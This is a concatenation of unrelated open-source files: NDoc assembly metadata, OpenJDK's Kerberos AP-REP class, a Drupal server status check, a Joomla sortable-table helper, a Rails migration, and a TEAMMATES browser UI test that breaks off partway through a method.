twpol/ndoc | src/Documenter/Msdn/AssemblyInfo.cs | 384 | using System;
using System.Reflection;
[assembly: CLSCompliantAttribute(true)]
[assembly: AssemblyTitle("NDoc3 MSDN Documenter")]
[assembly: AssemblyDescription("MSDN-like documenter for the NDoc3 code documentation generator.")]
#if (OFFICIAL_RELEASE)
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyKeyFile("NDoc3.snk")]
[assembly: AssemblyKeyName("")]
#endif
| gpl-2.0 |
TheTypoMaster/Scaper | openjdk/jdk/src/share/classes/sun/security/krb5/KrbApRep.java | 6446 | /*
* Portions Copyright 2000-2006 Sun Microsystems, Inc. All Rights Reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Sun designates this
* particular file as subject to the "Classpath" exception as provided
* by Sun in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
* CA 95054 USA or visit www.sun.com if you need additional information or
* have any questions.
*/
/*
*
* (C) Copyright IBM Corp. 1999 All Rights Reserved.
* Copyright 1997 The Open Group Research Institute. All rights reserved.
*/
package sun.security.krb5;
import sun.security.krb5.internal.*;
import sun.security.krb5.internal.crypto.KeyUsage;
import sun.security.util.*;
import java.io.IOException;
/**
* This class encapsulates a KRB-AP-REP sent from the service to the
* client.
*/
public class KrbApRep {
private byte[] obuf;
private byte[] ibuf;
private EncAPRepPart encPart; // although in plain text
private APRep apRepMessg;
/**
* Constructs a KRB-AP-REP to send to a client.
* @throws KrbException
* @throws IOException
*/
// Used in AcceptSecContextToken
public KrbApRep(KrbApReq incomingReq,
boolean useSeqNumber,
boolean useSubKey) throws KrbException, IOException {
EncryptionKey subKey =
(useSubKey?
new EncryptionKey(incomingReq.getCreds().getSessionKey()):null);
SeqNumber seqNum = new LocalSeqNumber();
init(incomingReq, subKey, seqNum);
}
/**
* Constructs a KRB-AP-REQ from the bytes received from a service.
* @throws KrbException
* @throws IOException
*/
// Used in AcceptSecContextToken
public KrbApRep(byte[] message, Credentials tgtCreds,
KrbApReq outgoingReq) throws KrbException, IOException {
this(message, tgtCreds);
authenticate(outgoingReq);
}
private void init(KrbApReq apReq,
EncryptionKey subKey,
SeqNumber seqNumber)
throws KrbException, IOException {
createMessage(
apReq.getCreds().key,
apReq.getCtime(),
apReq.cusec(),
subKey,
seqNumber);
obuf = apRepMessg.asn1Encode();
}
/**
* Constructs a KrbApRep object.
* @param msg a byte array of reply message.
* @param tgs_creds client's credential.
* @exception KrbException
* @exception IOException
*/
private KrbApRep(byte[] msg, Credentials tgs_creds)
throws KrbException, IOException {
this(new DerValue(msg), tgs_creds);
}
/**
* Constructs a KrbApRep object.
* @param msg a byte array of reply message.
* @param tgs_creds client's credential.
* @exception KrbException
* @exception IOException
*/
private KrbApRep(DerValue encoding, Credentials tgs_creds)
throws KrbException, IOException {
APRep rep = null;
try {
rep = new APRep(encoding);
} catch (Asn1Exception e) {
rep = null;
KRBError err = new KRBError(encoding);
String errStr = err.getErrorString();
String eText;
if (errStr.charAt(errStr.length() - 1) == 0)
eText = errStr.substring(0, errStr.length() - 1);
else
eText = errStr;
KrbException ke = new KrbException(err.getErrorCode(), eText);
ke.initCause(e);
throw ke;
}
byte[] temp = rep.encPart.decrypt(tgs_creds.key,
KeyUsage.KU_ENC_AP_REP_PART);
byte[] enc_ap_rep_part = rep.encPart.reset(temp, true);
encoding = new DerValue(enc_ap_rep_part);
encPart = new EncAPRepPart(encoding);
}
private void authenticate(KrbApReq apReq)
throws KrbException, IOException {
if (encPart.ctime.getSeconds() != apReq.getCtime().getSeconds() ||
encPart.cusec != apReq.getCtime().getMicroSeconds())
throw new KrbApErrException(Krb5.KRB_AP_ERR_MUT_FAIL);
}
/**
* Returns the optional subkey stored in
* this message. Returns null if none is stored.
*/
public EncryptionKey getSubKey() {
// XXX Can encPart be null
return encPart.getSubKey();
}
/**
* Returns the optional sequence number stored in the
* this message. Returns null if none is stored.
*/
public Integer getSeqNumber() {
// XXX Can encPart be null
return encPart.getSeqNumber();
}
/**
* Returns the ASN.1 encoding that should be sent to the peer.
*/
public byte[] getMessage() {
return obuf;
}
private void createMessage(
EncryptionKey key,
KerberosTime ctime,
int cusec,
EncryptionKey subKey,
SeqNumber seqNumber)
throws Asn1Exception, IOException,
KdcErrException, KrbCryptoException {
Integer seqno = null;
if (seqNumber != null)
seqno = new Integer(seqNumber.current());
encPart = new EncAPRepPart(ctime,
cusec,
subKey,
seqno);
byte[] encPartEncoding = encPart.asn1Encode();
EncryptedData encEncPart = new EncryptedData(key, encPartEncoding,
KeyUsage.KU_ENC_AP_REP_PART);
apRepMessg = new APRep(encEncPart);
}
}
| gpl-2.0 |
aakb/U21 | status.php | 2391 | <?php
// Register our shutdown function so that no other shutdown functions run before this one.
// This shutdown function calls exit(), immediately short-circuiting any other shutdown functions,
// such as those registered by the devel.module for statistics.
register_shutdown_function('status_shutdown');
function status_shutdown() {
exit();
}
// Drupal bootstrap.
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE);
// Build up our list of errors.
$errors = array();
// Check that the main database is active.
$result = db_query('SELECT * FROM {users} WHERE uid = 1');
$account = db_fetch_object($result);
if (!$account->uid == 1) {
$errors[] = 'Master database not responding.';
}
// Check that all memcache instances are running on this server.
if (isset($conf['cache_inc'])) {
foreach ($conf['memcache_servers'] as $address => $bin) {
list($ip, $port) = explode(':', $address);
$memcached = new Memcached();
if (!$memcached->addServer($ip, $port)) {
$errors[] = 'Memcache bin <em>' . $bin . '</em> at address ' . $address . ' is not available.';
}
else {
if (!$memcached->set('status_string', 'A simple test string')) {
$errors[] = 'Memcache bin <em>' . $bin . '</em> at address ' . $address . ' is not available.';
}
}
}
}
// Check that the files directory is operating properly.
if ($test = tempnam(variable_get('file_directory_path', conf_path() .'/files'), 'status_check_')) {
// Uncomment to check if files are saved in the correct server directory.
//if (!strpos($test, '/mnt/nfs') === 0) {
// $errors[] = 'Files are not being saved in the NFS mount under /mnt/nfs.';
//}
if (!unlink($test)) {
$errors[] = 'Could not delete newly create files in the files directory.';
}
}
else {
$errors[] = 'Could not create temporary file in the files directory.';
}
// Print all errors.
if ($errors) {
$errors[] = 'Errors on this server will cause it to be removed from the load balancer.';
header('HTTP/1.1 500 Internal Server Error');
print implode("<br />\n", $errors);
}
else {
// Split up this message, to prevent the remote chance of monitoring software
// reading the source code if mod_php fails and then matching the string.
print 'CONGRATULATIONS' . ' 200';
}
// Exit immediately, note the shutdown function registered at the top of the file.
exit();
| gpl-2.0 |
andergmartins/t3v3 | libraries/cms/html/sortablelist.php | 3051 | <?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* HTML utility class for creating a sortable table list
*
* @package Joomla.Libraries
* @subpackage HTML
* @since 3.0
*/
abstract class JHtmlSortablelist
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Method to load the Sortable script and make table sortable
*
* @param string $tableId DOM id of the table
* @param string $formId DOM id of the form
* @param string $sortDir Sort direction
* @param string $saveOrderingUrl Save ordering url, ajax-load after an item dropped
* @param boolean $proceedSaveOrderButton Set whether a save order button is displayed
* @param boolean $nestedList Set whether the list is a nested list
*
* @return void
*
* @since 3.0
*/
public static function sortable($tableId, $formId, $sortDir = 'asc', $saveOrderingUrl, $proceedSaveOrderButton = true, $nestedList = false)
{
// Only load once
if (isset(self::$loaded[__METHOD__]))
{
return;
}
// Depends on jQuery UI
JHtml::_('jquery.ui', array('core', 'sortable'));
JHtml::script('jui/sortablelist.js', false, true);
JHtml::stylesheet('jui/sortablelist.css', false, true, false);
// Attach sortable to document
JFactory::getDocument()->addScriptDeclaration("
(function ($){
$(document).ready(function (){
var sortableList = new $.JSortableList('#" . $tableId . " tbody','" . $formId . "','" . $sortDir . "' , '" . $saveOrderingUrl . "','','" . $nestedList . "');
});
})(jQuery);
"
);
if ($proceedSaveOrderButton)
{
self::_proceedSaveOrderButton();
}
// Set static array
self::$loaded[__METHOD__] = true;
return;
}
/**
* Method to inject script for enabled and disable Save order button
* when changing value of ordering input boxes
*
* @return void
*
* @since 3.0
*/
public static function _proceedSaveOrderButton()
{
JFactory::getDocument()->addScriptDeclaration(
"(function ($){
$(document).ready(function (){
var saveOrderButton = $('.saveorder');
saveOrderButton.css({'opacity':'0.2', 'cursor':'default'}).attr('onclick','return false;');
var oldOrderingValue = '';
$('.text-area-order').focus(function () {
oldOrderingValue = $(this).attr('value');
})
.keyup(function (){
var newOrderingValue = $(this).attr('value');
if(oldOrderingValue != newOrderingValue) {
saveOrderButton.css({'opacity':'1', 'cursor':'pointer'}).removeAttr('onclick')
}
});
});
})(jQuery);"
);
return;
}
}
| gpl-2.0 |
OpenMentor/OpenMentor | db/migrate/20151229215000_create_skill_proposals.rb | 307 | class CreateSkillProposals < ActiveRecord::Migration
def change
create_table :skill_proposals do |t|
t.string :name, null: false, uniqueness: true
t.integer :proposed_by, index: true, null: false
t.integer :reviewed_by, index: true
t.timestamps null: false
end
end
end
| gpl-2.0 |
xpdavid/teammates | src/test/java/teammates/test/cases/browsertests/InstructorFeedbackResultsPageUiTest.java | 35743 | package teammates.test.cases.browsertests;
import java.io.File;
import org.openqa.selenium.By;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.Test;
import teammates.common.datatransfer.attributes.FeedbackQuestionAttributes;
import teammates.common.util.AppUrl;
import teammates.common.util.Const;
import teammates.common.util.JsonUtils;
import teammates.e2e.util.Priority;
import teammates.e2e.util.TestProperties;
import teammates.test.BackDoor;
import teammates.test.FileHelper;
import teammates.test.pageobjects.InstructorFeedbackEditPage;
import teammates.test.pageobjects.InstructorFeedbackResultsPage;
/**
* SUT: {@link Const.WebPageURIs#INSTRUCTOR_SESSION_RESULTS_PAGE}.
*/
@Priority(-1)
public class InstructorFeedbackResultsPageUiTest extends BaseLegacyUiTestCase {
private InstructorFeedbackResultsPage resultsPage;
@Override
protected void prepareTestData() {
// the actual test data is refreshed before each test method
}
@BeforeMethod
public void refreshTestData() {
testData = loadDataBundle("/InstructorFeedbackResultsPageUiTest.json");
removeAndRestoreDataBundle(testData);
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Open Session");
}
@Test
public void testHtmlContent() throws Exception {
testContent();
testModerateResponsesButton();
}
@Test
public void testFrontEndActions() throws Exception {
testSortAction();
testFilterAction();
testPanelsCollapseExpand();
testShowStats();
testRemindAllAction();
}
private void testContent() throws Exception {
______TS("Typical case: large session with no sections");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr",
"Session with no sections", true, "question");
resultsPage.waitForTextsForAllStatusMessagesToUserEquals(Const.StatusMessages.FEEDBACK_RESULTS_QUESTIONVIEWWARNING);
______TS("Typical case: standard session results");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Open Session");
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
// This is the full HTML verification for Instructor Feedback Results Page, the rest can all be verifyMainHtml
resultsPage.verifyHtml("/instructorFeedbackResultsPageOpen.html");
______TS("Typical case: standard session results: helper view");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.helper1", "Open Session");
resultsPage.loadResultQuestionPanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsPageOpenViewForHelperOne.html");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.helper2", "Open Session");
resultsPage.loadResultQuestionPanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsPageOpenViewForHelperTwo.html");
______TS("Typical case: empty session");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Empty Session");
resultsPage.loadResultQuestionPanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsPageEmpty.html");
}
@Test
public void testExceptionalCases() throws Exception {
______TS("Case where more than 1 question with same question number");
// results page should be able to load incorrect data and still display it gracefully
FeedbackQuestionAttributes firstQuestion = testData.feedbackQuestions.get("qn1InSession4");
assertEquals(1, firstQuestion.questionNumber);
FeedbackQuestionAttributes firstQuestionFromDatastore =
BackDoor.getFeedbackQuestion(firstQuestion.courseId,
firstQuestion.feedbackSessionName,
firstQuestion.questionNumber);
FeedbackQuestionAttributes secondQuestion = testData.feedbackQuestions.get("qn2InSession4");
assertEquals(2, secondQuestion.questionNumber);
// need to retrieve question from datastore to get its questionId
FeedbackQuestionAttributes secondQuestionFromDatastore =
BackDoor.getFeedbackQuestion(secondQuestion.courseId,
secondQuestion.feedbackSessionName,
secondQuestion.questionNumber);
assertEquals(secondQuestion, secondQuestionFromDatastore);
// make both questions have the same question number
secondQuestionFromDatastore.questionNumber = 1;
BackDoor.editFeedbackQuestion(secondQuestionFromDatastore);
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Session with errors");
resultsPage.loadResultQuestionPanel(1);
resultsPage.loadResultQuestionPanel(2);
// compare html for each question panel
// to verify that the right responses are showing for each question
By firstQuestionPanelResponses = By.xpath("//div[contains(@class,'panel')][.//input[@name='questionid'][@value='"
+ firstQuestionFromDatastore.getId() + "']]"
+ "//div[contains(@class, 'table-responsive')]");
resultsPage.verifyHtmlPart(firstQuestionPanelResponses,
"/instructorFeedbackResultsDuplicateQuestionNumberPanel1.html");
By secondQuestionPanelResponses = By.xpath("//div[contains(@class,'panel')][.//input[@name='questionid'][@value='"
+ secondQuestionFromDatastore.getId() + "']]"
+ "//div[contains(@class, 'table-responsive')]");
resultsPage.verifyHtmlPart(secondQuestionPanelResponses,
"/instructorFeedbackResultsDuplicateQuestionNumberPanel2.html");
______TS("Results with sanitized data");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.SanitizedTeam.instr",
"Session with sanitized data");
resultsPage.loadResultQuestionPanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsPageWithSanitizedData.html");
______TS("Results with sanitized data with comments : giver > recipient > question");
resultsPage.displayByGiverRecipientQuestion();
resultsPage.loadResultSectionPanel(0, 1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsPageGQRWithSanitizedData.html");
}
private void testModerateResponsesButton() {
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Open Session");
resultsPage.displayByQuestion();
resultsPage.loadResultQuestionPanel(2);
resultsPage.loadResultQuestionPanel(4);
______TS("Typical case: test moderate responses button for individual response (including no response)");
verifyModerateResponsesButton(2, "[email protected]", "[email protected]",
"[email protected]", "[email protected]",
"[email protected]", "[email protected]",
"[email protected]", "[email protected]");
______TS("Typical case: test moderate responses button for team response");
verifyModerateResponsesButton(4, "Team 1</td></div>'\"");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Session with Instructors as Givers");
resultsPage.displayByQuestion();
resultsPage.loadResultQuestionPanel(1);
______TS("Typical case: test moderate responses button for instructors as givers");
verifyModerateResponsesButton(1, "[email protected]", "[email protected]",
"[email protected]");
}
private void testSortAction() throws Exception {
______TS("Typical case: test sort by giver > recipient > question");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Open Session");
resultsPage.displayByGiverRecipientQuestion();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortGiverRecipientQuestionTeam.html");
String additionalInfoId = "section-1-giver-1-recipient-1";
int qnNumber = 8;
verifyQuestionAdditionalInfoExpand(qnNumber, additionalInfoId);
verifyQuestionAdditionalInfoCollapse(qnNumber, additionalInfoId);
______TS("test sort by recipient > giver > question");
resultsPage.displayByRecipientGiverQuestion();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortRecipientGiverQuestionTeam.html");
additionalInfoId = "section-1-giver-1-recipient-0";
qnNumber = 8;
verifyQuestionAdditionalInfoExpand(qnNumber, additionalInfoId);
verifyQuestionAdditionalInfoCollapse(qnNumber, additionalInfoId);
______TS("test sort by giver > question > recipient");
resultsPage.displayByGiverQuestionRecipient();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortGiverQuestionRecipientTeam.html");
______TS("test sort by recipient > question > giver");
resultsPage.displayByRecipientQuestionGiver();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortRecipientQuestionGiverTeam.html");
// Do not sort by team
resultsPage.clickGroupByTeam();
______TS("test order in giver > recipient > question team");
resultsPage.displayByGiverRecipientQuestion();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortGiverRecipientQuestion.html");
______TS("test order in recipient > giver > question team");
resultsPage.displayByRecipientGiverQuestion();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortRecipientGiverQuestion.html");
______TS("test order in giver > question > recipient team");
resultsPage.displayByGiverQuestionRecipient();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortGiverQuestionRecipient.html");
______TS("test order in recipient > question > giver team");
resultsPage.displayByRecipientQuestionGiver();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortRecipientQuestionGiver.html");
______TS("test sort by question");
// By question
resultsPage.displayByQuestion();
resultsPage.loadResultQuestionPanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortQuestionTeam.html");
additionalInfoId = "";
qnNumber = 8;
verifyQuestionAdditionalInfoExpand(qnNumber, additionalInfoId);
verifyQuestionAdditionalInfoCollapse(qnNumber, additionalInfoId);
______TS("Typical case: test in-table sort");
verifySortingOrder(By.id("button_sortFeedback"),
"1 Response to Danny.",
"2 Response to Benny.",
"3 Response to Emily.",
"4 Response to Charlie.");
verifySortingOrder(By.id("button_sortFromName"),
"Alice Betsy",
"Benny Charles",
"Benny Charles",
"Charlie Dávis");
verifySortingOrder(By.id("button_sortFromTeam"),
"Team 1",
"Team 1",
"Team 2",
"Team 2");
verifySortingOrder(By.id("button_sortToName"),
"Benny Charles",
"Charlie Dávis",
"Danny Engrid",
"Emily");
// TODO: Test sorting fully instead of partially.
// verifySortingOrder(By.id("button_sortToTeam"),
// SanitizationHelper.sanitizeForHtmlTag("Team 1</td></div>'\"{*}Team 1</td></div>'\""),
// SanitizationHelper.sanitizeForHtmlTag("Team 1</td></div>'\"{*}Team 2"),
// SanitizationHelper.sanitizeForHtmlTag("Team 1</td></div>'\"{*}Team 2"),
// "Team 2{*}Team 3");
}
@Test
public void testVisibilityOptions() throws Exception {
______TS("test sort by giver > recipient > question for second session");
resultsPage = loginToInstructorFeedbackResultsPage("CFResultsUiT.instr", "Unpublished Session");
resultsPage.displayByGiverRecipientQuestion();
resultsPage.loadResultSectionPanel(0, 1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionGiverRecipientQuestionTeam.html");
______TS("test sort by recipient > giver > question for second session");
resultsPage.displayByRecipientGiverQuestion();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionRecipientGiverQuestionTeam.html");
______TS("test sort by giver > question > recipient for second session");
resultsPage.displayByGiverQuestionRecipient();
resultsPage.loadResultSectionPanel(0, 1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionGiverQuestionRecipientTeam.html");
______TS("test sort by recipient > question > giver for second session");
resultsPage.displayByRecipientQuestionGiver();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionRecipientQuestionGiverTeam.html");
// Do not sort by team
resultsPage.clickGroupByTeam();
______TS("test order in giver > recipient > question team for second session");
resultsPage.displayByGiverRecipientQuestion();
resultsPage.loadResultSectionPanel(0, 1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionGiverRecipientQuestion.html");
______TS("test order in recipient > giver > question team for second session");
resultsPage.displayByRecipientGiverQuestion();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionRecipientGiverQuestion.html");
______TS("test order in giver > question > recipient team for second session");
resultsPage.displayByGiverQuestionRecipient();
resultsPage.loadResultSectionPanel(0, 1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionGiverQuestionRecipient.html");
______TS("test order in recipient > question > giver team for second session");
resultsPage.displayByRecipientQuestionGiver();
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionRecipientQuestionGiver.html");
______TS("test sort by question for second session");
resultsPage.displayByQuestion();
resultsPage.loadResultQuestionPanel(2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionQuestionTeam.html");
______TS("filter by section A");
resultsPage.filterResponsesForSection("Section A");
resultsPage.clickCollapseExpandButtonAndWaitForPanelsToExpand();
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsSortSecondSessionFilteredBySectionATeam.html");
}
@Test
public void testViewPhotoAndAjaxForLargeScaledSession() throws Exception {
// Mouseover actions do not work on Selenium-Chrome
if ("chrome".equals(TestProperties.BROWSER)) {
return;
}
uploadPhotoForStudent(testData.students.get("Alice").googleId);
______TS("Typical case: ajax for view by questions");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr",
"Open Session", true, "question");
resultsPage.loadResultLargeScalePanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsAjaxByQuestion.html");
______TS("Failure case: Ajax error");
// Change fs name so that the ajax request will fail
resultsPage.changeFsNameInAjaxLoadResponsesForm(1, "invalidFsName");
resultsPage.clickElementById("panelHeading-3");
resultsPage.waitForAjaxError(1);
resultsPage.changeFsNameInNoResponsePanelForm("InvalidFsName");
resultsPage.clickElementById("panelHeading-12");
resultsPage.waitForAjaxErrorOnNoResponsePanel();
______TS("Typical case: test view photo for view by questions");
resultsPage.removeNavBar();
resultsPage.hoverClickAndViewGiverPhotoOnTableCell(
0, 0, "studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
resultsPage.hoverClickAndViewRecipientPhotoOnTableCell(0, 0, Const.SystemParams.DEFAULT_PROFILE_PICTURE_PATH);
______TS("Typical case: ajax for view by question for helper 1");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.helper1",
"Open Session", true, "question");
resultsPage.loadResultLargeScalePanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsAjaxByQuestionViewForHelperOne.html");
______TS("Typical case: ajax for view by question for helper2");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.helper2",
"Open Session", true, "question");
resultsPage.loadResultLargeScalePanel(1);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsAjaxByQuestionViewForHelperTwo.html");
______TS("Typical case: ajax for view by giver > recipient > question");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr", "Open Session", true,
"giver-recipient-question");
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsAjaxByGRQ.html");
______TS("Typical case: test view photo for view by giver > recipient > question");
resultsPage.removeNavBar();
resultsPage.hoverClickAndViewStudentPhotoOnHeading("1-1",
"studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
resultsPage.hoverAndViewStudentPhotoOnBody("1-1",
"studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
resultsPage.hoverClickAndViewStudentPhotoOnHeading("1-2", Const.SystemParams.DEFAULT_PROFILE_PICTURE_PATH);
______TS("Typical case: ajax for view by giver > question > recipient");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr", "Open Session", true,
"giver-question-recipient");
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsAjaxByGQR.html");
______TS("Typical case: test view photo for view by giver > question > recipient");
resultsPage.removeNavBar();
resultsPage.hoverClickAndViewStudentPhotoOnHeading("1-1",
"studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
resultsPage.clickViewPhotoLink("1-2", Const.SystemParams.DEFAULT_PROFILE_PICTURE_PATH);
______TS("Typical case: ajax for view by recipient > question > giver");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr", "Open Session", true,
"recipient-question-giver");
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsAjaxByRQG.html");
______TS("Typical case: test view photo for view by recipient > question > giver");
resultsPage.removeNavBar();
resultsPage.hoverClickAndViewStudentPhotoOnHeading("1-1",
"studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
resultsPage.clickViewPhotoLink("1-2", "studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
______TS("Typical case: ajax for view by recipient > giver > question");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr", "Open Session", true,
"recipient-giver-question");
resultsPage.loadResultSectionPanel(1, 2);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsAjaxByRGQ.html");
______TS("Typical case: test view photo for view by recipient > giver > question");
resultsPage.removeNavBar();
resultsPage.hoverClickAndViewStudentPhotoOnHeading("1-1",
"studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
resultsPage.hoverAndViewStudentPhotoOnBody("1-1",
"studentProfilePic?studentemail={*}&courseid={*}&user=CFResultsUiT.instr");
resultsPage.hoverClickAndViewStudentPhotoOnHeading("1-2", Const.SystemParams.DEFAULT_PROFILE_PICTURE_PATH);
}
@Test
public void testViewNoSpecificSection() {
______TS("No Specific Section shown for recipient > question > giver with General Feedback");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr", "Open Session", true,
"recipient-question-giver");
assertTrue(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
______TS("No Specific Section shown for recipient > giver > recipient with Feedback to Instructor");
resultsPage.displayByRecipientGiverQuestion();
assertTrue(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
______TS("No Specific Section shown giver > question > recipient with Feedback from Instructor");
resultsPage.displayByGiverQuestionRecipient();
assertTrue(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
______TS("No Specific Section shown for recipient > question > giver with Feedback to Instructor");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr", "Unpublished Session",
true, "recipient-question-giver");
assertTrue(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
______TS("No Specific Section not shown for recipient > question > giver with no General Feedback");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr",
"Session with sanitized data", true, "recipient-question-giver");
assertFalse(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
______TS("No Specific Section not shown for giver > question > recipient with no Feedback from Instructor");
resultsPage.displayByGiverQuestionRecipient();
assertFalse(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
______TS("No Specific Section shown for giver > question > recipient with student in No Specific Section");
resultsPage = loginToInstructorFeedbackResultsPageWithViewType("CFResultsUiT.instr", "Session with no sections",
true, "giver-question-recipient");
assertTrue(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
______TS("No Specific Section shown for recipient > question > giver with student in No Specific Section");
resultsPage.displayByRecipientQuestionGiver();
assertTrue(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
}
private void testFilterAction() throws Exception {
______TS("Typical case: filter by section A");
resultsPage.filterResponsesForSection("Section A");
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsFilteredBySectionA.html");
______TS("Typical case: filter by section B, no responses");
resultsPage.filterResponsesForSection("Section B");
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsFilteredBySectionB.html");
______TS("Typical case: filter by 'No specific section'");
resultsPage.filterResponsesForSection(Const.NO_SPECIFIC_SECTION);
resultsPage.verifyHtmlMainContent("/instructorFeedbackResultsFilteredByNoSection.html");
______TS("Verify that 'No specific section' has a section panel on a non-question view");
resultsPage.displayByRecipientGiverQuestion();
assertTrue(resultsPage.isSectionPanelExist(Const.NO_SPECIFIC_SECTION));
assertFalse(resultsPage.isSectionPanelExist("Section A"));
resultsPage.displayByQuestion();
resultsPage.filterResponsesForAllSections();
}
private void testPanelsCollapseExpand() {
______TS("Test that 'Collapse Student' button is working");
resultsPage.clickGroupByTeam();
resultsPage.displayByGiverRecipientQuestion();
resultsPage.loadResultSectionPanel(0, 1);
resultsPage.waitForElementPresence(By.id("collapse-panels-button-team-0"));
assertEquals("Collapse Students", resultsPage.instructorPanelCollapseStudentsButton.getText());
resultsPage.clickInstructorPanelCollapseStudentsButton();
